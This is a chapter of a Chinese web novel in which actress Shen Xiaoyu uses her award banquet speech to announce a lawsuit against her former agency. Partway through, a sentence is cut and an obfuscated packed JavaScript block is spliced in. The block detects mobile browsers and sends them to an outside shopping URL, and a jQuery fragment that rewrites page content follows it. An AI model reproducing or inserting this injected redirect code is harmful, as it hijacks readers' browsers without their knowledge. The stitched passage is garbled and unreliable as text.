金鹰奖颁奖礼落幕的当晚,庆功宴设在市中心最顶级的云顶酒店宴会厅。水晶灯悬在穹顶,折射出万千璀璨光点,香槟塔层层堆叠,琥珀色的酒液在灯光下流动,衣香鬓影间,祝贺声、碰杯声、谈笑声交织在一起,衬得这场行业盛宴愈发隆重。
沈小鱼是全场的焦点。她依旧穿着那件“塑料水晶战袍”,裙摆上的亮片在光影中闪烁,与周遭女星动辄百万的高定礼服相比,非但不显得寒酸,反倒因那份独有的坚韧气场,成了宴会厅里最扎眼的存在。她手握金鹰奖杯,被人群层层围住——知名导演递来合作意向,制片人热情攀谈,同行演员笑着祝贺,媒体记者举着相机不停拍照,每个人都想和今晚的新科视后说上一句话。
她始终挂着得体的微笑,颔首接受祝贺,语气温婉却有分寸,既不显得谄媚,也没有丝毫恃奖而骄。可只有沈小鱼自己知道,她的指尖始终微微蜷着,笑容底下藏着一份未松的紧绷——那是隐忍了三年的情绪,是筹备了一个月的决定,此刻正等着一个最合适的出口。
严华端着一杯香槟,站在不远处的立柱旁,目光一直落在沈小鱼身上。三个月前,横店片场的暴雨里,她穿着单薄的囚服跪在泥水里,冻得嘴唇发紫却不肯喊停;三个月后,她站在行业最高规格的庆功宴上,被众星捧月,光芒万丈。他看着这个自己一手发掘、一路扶持的女孩,眼底满是欣慰,却也敏锐地察觉到,她平静的表象下,藏着某种蓄势待发的力量。
等人群稍缓,严华才缓步走过去,轻轻碰了碰她的手肘,低声问:“累了?”
沈小鱼侧头看他,眼底掠过一丝极淡的锋芒,随即又恢复了平静,她抬腕看了眼手表,表盘上的指针正指向九点十五分,她轻声说:“还有五分钟。”
“什么五分钟?”严华眉梢微蹙,语气里带着关切和疑问。他想问得更细,却见沈小鱼已经转过身,将手中的奖杯递给旁边待命的工作人员,语气温和却坚定:“麻烦帮我妥善保管一下,谢谢。”
不等工作人员回应,她已经迈开脚步,穿过熙攘的人群,朝着宴会厅中央的临时舞台走去。那里立着一个鎏金话筒,本是颁奖礼后供获奖者补充发表感言的地方,按照流程,这个环节早已结束,此刻众人都已进入自由交流、洽谈合作的时间,没人想到还会有人再上台。
“各位,打扰一下。”
沈小鱼的声音通过话筒,清晰地传遍了整个宴会厅。喧闹的谈笑声瞬间像被按下了暂停键,所有人都停下动作,转头看向舞台中央——奖都领完了,庆功宴都进行到一半了,这位新科视后还要说什么?
原本已经切换到后台画面的直播镜头,此刻被导播紧急切回舞台。酒店控制室里,庆功宴总导演皱着眉,对着对讲机沉声质问:“怎么回事?流程里根本没有这个环节!让她下来!”
“导演,不行!”导播的声音带着难掩的激动,“实时收视率正在疯狂飙升,已经破了今年的纪录!现在切走,观众会骂死我们的!”
总导演盯着监控屏幕上跳动的收视率曲线,脸色阴晴不定,最终咬牙吐出两个字:“继续!”
聚光灯再次聚焦在沈小鱼身上,那身由塑料珠子和蕾丝缝制的礼服,在强光下竟泛着一种近乎倔强的璀璨。她握着话筒,指尖微微用力,目光平静地扫过全场,每一个角落都被她的视线轻轻掠过。
她先看到了严华,那个既是导师也是后盾的男人,正站在立柱旁,眼底有关切,有疑问,却没有阻止——他懂她,知道她做的每一个决定都有缘由。
再看到林薇薇,她的竞争对手,正抱着手臂站在宴会厅的角落,一身红色高定礼服衬得她脸色愈发冷淡,眼底却藏着一丝不易察觉的好奇,仿佛在看一场即将开场的好戏。
然后是李强、阿斌和小武,三个大男人挤在宴会厅的最后排,穿着不合身的西装,头发梳得乱糟糟的,此刻正伸长脖子,一脸“沈总又要搞大事”的紧张,手都不自觉地攥成了拳头。
最后,她的目光落在了直播镜头上,透过冰冷的镜头,仿佛看到了三年前那个茫然无措、被现实逼到绝境的自己。
“首先,再次感谢金鹰奖给予我的认可,感谢严华导演,感谢《女弈》剧组的每一位同仁,也感谢所有支持我的朋友和观众。”沈小鱼开口,声音平稳而有力量,没有丝毫颤抖,“这个金鹰奖杯很重,它不仅承载着荣誉,更承载着一份沉甸甸的责任。”
台下响起礼貌而热烈的掌声,有人笑着点头,有人低声议论,都以为她只是要补充几句感谢的话。
沈小鱼等掌声渐渐平息,才缓缓开口,语气里多了一丝旁人听不懂的沉重:“在过去三年里,我经历了家道中落、父亲破产、母亲重病、被追债逼债……很多人问我,是什么支撑着我从泥潭里爬起来,走到今天。以前我会说,是梦想,是想让母亲看到我发光的样子。”
她顿了顿,嘴角勾起一抹极淡的、带着自嘲的笑容:“但今天,站在这里,我想跟大家说一句实话:撑我走过来的,不只是梦想,还有——愤怒。”
“哗——”
全场瞬间安静下来,连呼吸声都变得清晰可闻。原本轻松的氛围瞬间凝固,所有人的脸上都露出了震惊的表情,没人想到,在这样的庆功宴上,新科视后会说出“愤怒”两个字。
直播弹幕瞬间刷屏,密密麻麻的问号占据了整个屏幕:“???愤怒什么?”“沈小鱼这是要干什么?”“难道是喝多了?”“不会是要爆大瓜吧?”
沈小鱼深吸一口气,目光愈发坚定,声音透过话筒,一字一句地砸在每个人心上:“我愤怒于这个行业里,总有人把新人当成可以随意消耗的耗材,榨干价值就弃如敝履;我愤怒于有些人手握权力,就肆意欺凌弱者,把新人的尊严踩在脚下;我更愤怒于有些经纪公司,表面上包装着‘梦想’的外衣,背地里却用尽手段,榨干艺人的每一滴价值,连骨头都不肯剩下。”
宴会厅里,已有不少人的脸色变了。几位经纪公司的老总下意识地交换了眼神,神色凝重;梅姐站在人群外围,手指紧紧攥着裙摆,指节泛白,手心全是冷汗——她太熟悉沈小鱼此刻的眼神了,三年前,她们第一次见面时,沈小鱼就是这样的眼神,清澈、坚定,带着一种近乎天真的执拗,一旦认定的事,十头牛都拉不回来。
“所以,”沈小鱼的声音陡然拔高了几分,带着一种破釜沉舟的决绝,“借此机会,我想向所有人,宣布一件事。”
她直直地看向直播镜头,眼神锐利如刀,没有丝毫闪躲:“今天下午三点整,我已正式向北京市朝阳区人民法院提起诉讼,起诉我的前经纪公司——星光传媒有限公司,指控其涉嫌合同欺诈、挪用艺人劳动收入、恶意拖欠片酬,以及职场性骚扰。”
死寂。
长达五秒的绝对死寂,整个宴会厅里,除了直播设备运行的细微声响,再也听不到任何声音。所有人都僵在原地,脸上写满了难以置信,连呼吸都忘了。
“轰——”
五秒后,宴会厅彻底炸开了锅。记者们疯了似的往前挤,相机快门声连成一片,闪光灯亮得让人睁不开眼;同行演员们面面相觑,有人震惊,有人窃喜,有人赶紧低下头,假装看手机,生怕被牵连;制片人和导演们围在一起,低声交谈,神色凝重——谁都知道,沈小鱼这一举动,是要在娱乐圈掀起一场风暴。
直播收视率在这一刻,直接冲破了年度纪录,服务器濒临瘫痪,弹幕已经多到加载不出来,只能看到密密麻麻的光点在屏幕上跳动。
酒店控制室里,导播对着对讲机嘶吼:“所有机位都对准她!不准停!就算服务器炸了也要播!”
舞台上的沈小鱼,却依旧平静得可怕。她甚至对着镜头微微勾起嘴角,那笑容里没有愤怒,只有一种压抑了三年的解脱:“起诉状、证据清单、银行流水、录音录像以及相关法律文书,已经在十分钟前,同步上传到了我的个人微博。接下来的三个月,我的身份将不仅是演员沈小鱼,还是——一名原告。”
她的话音刚落,宴会厅的大门忽然被推开,四个穿着法院制服的工作人员走了进来,为首的法官手里拿着一份文件,径直走向舞台。全场的喧闹声再次平息,所有人的目光都聚焦在那份文件上。
“沈小鱼女士,您好。”法官走到沈小鱼面前,递过文件,“这是北京市朝阳区人民法院的案件受理通知书,根据法定程序,需要您本人签收确认。”
沈小鱼伸出手,指尖稳稳地接过通知书,拿起笔,在落款处签下了自己的名字。笔尖划过纸张的“沙沙”声,通过话筒传遍了整个宴会厅,也通过直播,传到了千万观众的耳中,每一声都像是敲在人心上。
签完字,她举起那份受理通知书,对着镜头展示了三秒,白纸黑字,清晰可见。“这不是一时冲动,也不是博眼球。”她的声音平静却有力量,“我只是想拿回属于我自己的东西,只是想告诉这个行业里所有的新人:你们不是耗材,梦想不是商品,尊严更不是可以用来交易的筹码。”
她放下通知书,目光缓缓转向人群中的梅姐,眼神里没有恨,只有一种尘埃落定的平静:“梅姐,三年前你签下我的时候,笑着跟我说:‘小鱼,跟着我,我保证你能红。’你做到了,你确实让我红了。但我今天想问问你,你当时知不知道,星光传媒给我的那份十年合约里,藏着一条用最小号字体印在最后一页夹缝里的隐藏条款——如果我不接受公司安排的‘商务陪酒’‘私人饭局’等特殊安排,就要赔偿五百万违约金?”
梅姐的脸瞬间变得惨白,身体晃了晃,差点摔倒,她张了张嘴,却一个字也说不出来,眼底满是慌乱和愧疚。
沈小鱼没有等她回答,转头重新看向镜头,声音里带着一丝不易察觉的哽咽,却更多的是坚定:“三年前,我十九岁,母亲刚查出重病,家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953279|193092||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里欠了一屁股债,我走投无路,只能签下那份不平等合约。我看不懂那些密密麻麻的法律条文,我只知道,我要赚钱,要给妈妈治病。我以为我抓住了救命稻草,却没想到,是跳进了另一个泥潭。”
“我接最苦最累的戏,拿最少的片酬;我熬夜赶通告,换来的却是公司挪用我的收入,连母亲的医药费都凑不出来;我拒绝那些肮脏的安排,换来的却是公司的雪藏、打压,甚至是全网黑的‘诈捐’丑闻。”
宴会厅里,有人悄悄抹起了眼泪。那些同样经历过新人困境、被公司压榨过的演员,眼底满是共鸣;李强三人挤在最后排,眼眶通红,小武气得攥紧拳头,恨不得冲上去揍人,却被李强死死按住——他知道,现在上去,只会给沈小鱼添乱。
沈小鱼深吸一口气,将眼底的哽咽压下去,声音重新变得平稳:“今天,我站在这里,手握金鹰奖杯,身后有支持我的人,身边有相信我的人,我终于有勇气站出来,撕开这个行业的遮羞布。我起诉星光传媒,不只是为了我自己,更是为了那些和我一样,曾经在绝境里挣扎、不敢发声的受害者。”
她最后看了一眼全场,目光扫过每一张脸,语气铿锵有力:“谢谢大家。我的感言,到此结束。”
沈小鱼放下话筒,转身走下舞台。人群像是被施了魔法,自动分开了一条路,没有人说话,没有人上前,所有人都静静地看着她——看着这个刚刚加冕视后,就亲手点燃娱乐圈风暴、撕开行业黑幕的女人。她的背影不算高大,却异常挺拔,像一株在风雨里倔强生长的野草,终于活成了自己的太阳。
严华第一个迎了上去,没有问她为什么不提前说,也没有劝她三思,只是伸出手,轻轻拍了拍她的肩,眼底满是赞许和支持:“做得好。”
沈小鱼看着他,紧绷了一整晚的肩膀终于微微放松,嘴角勾起一抹浅淡的笑容:“谢谢您,严导。”
紧接着,李强、阿斌和小武三个大男人冲了过来,围着她,李强大着嗓门,声音里带着压抑的怒火和心疼:“你他妈怎么不早说!这么大的事,你一个人扛着?我们还能帮你想想办法,准备律师费啊!”
“就是!打官司要花不少钱吧?我们还有点积蓄,都给你拿过来!”阿斌也跟着附和,眼眶通红。
沈小鱼看着这三个曾经追着她要债、现在却一心为她着想的男人,鼻子忽然一酸,心里暖得发烫。她轻轻摇了摇头:“李哥,阿斌,小武,谢谢你们。律师费我够,钱的事不用操心。你们能陪着我,就够了。”
那天晚上,#沈小鱼起诉前经纪公司##沈小鱼星光传媒合同欺诈##沈小鱼撕开行业遮羞布#三个话题接连爆上热搜,微博服务器直接瘫痪了二十分钟,等恢复正常时,相关话题的阅读量已经突破五十亿,讨论量超过一千万。
沈小鱼的微博里,那份长达十页的起诉书和证据清单被转发了数百万次,那条隐藏条款的照片被无数人圈出来放大,全网都在声讨星光传媒的恶行。曾经黑过沈小鱼的网友,纷纷在评论区道歉;娱乐圈的不少艺人,悄悄给她点了赞;还有十几个曾经被星光传媒压榨过的前员工和艺人,私信给她发来了更多证据。
而星光传媒的股票,在盘前交易中直接暴跌了30%,市值蒸发数十亿,公司官网被愤怒的网友攻陷,电话被打爆,连门口都围满了记者。
沈小鱼的手机,从晚上十点到凌晨两点,收到了上千条消息——有同行演员发来的“加油”,有曾经的受害者发来的“谢谢”,有律师主动发来的“免费代理”邀请,也有星光传媒高层发来的威胁和谩骂。
她一条都没回,只是将手机调成静音,放在床头柜上。
她坐在酒店房间的落地窗前,看着窗外北京的夜景,万家灯火,霓虹闪烁,却照不进这座城市隐藏的黑暗。她手里握着那个沉甸甸的金鹰奖杯,指尖摩挲着上面的纹路,心里异常平静。
手机忽然震动了一下,是严华发来的消息,只有一句话:“睡一觉。明天开始,才是真正的战争。”
沈小鱼看着那条消息,眼底闪过一丝锐利的光芒,她指尖微动,回了两个字:“我知道。”
她关掉手机屏幕,躺回床上,闭上眼。脑海里浮现出三年前的那个下午,她坐在星光传媒的会议室里,面前摆着那份厚厚的合约,梅姐笑着递过笔,说:“签吧,小鱼,你的好日子就要来了。”
那时的她,十九岁,眼里有光,心里有火,以为梦想触手可及。
现在的她,二十二岁,眼里有刀,心里有秤,知道梦想需要用尊严和勇气去守护。
窗外的城市依旧喧嚣,今夜无人入眠。
沈小鱼知道,起诉星光传媒,只是第一步。接下来,她要面对的,是对方的恶意反诉、证据销毁、舆论抹黑,是行业里隐藏的利益链条的反扑。
但她不怕。
因为这一次,她不再是孤军奋战。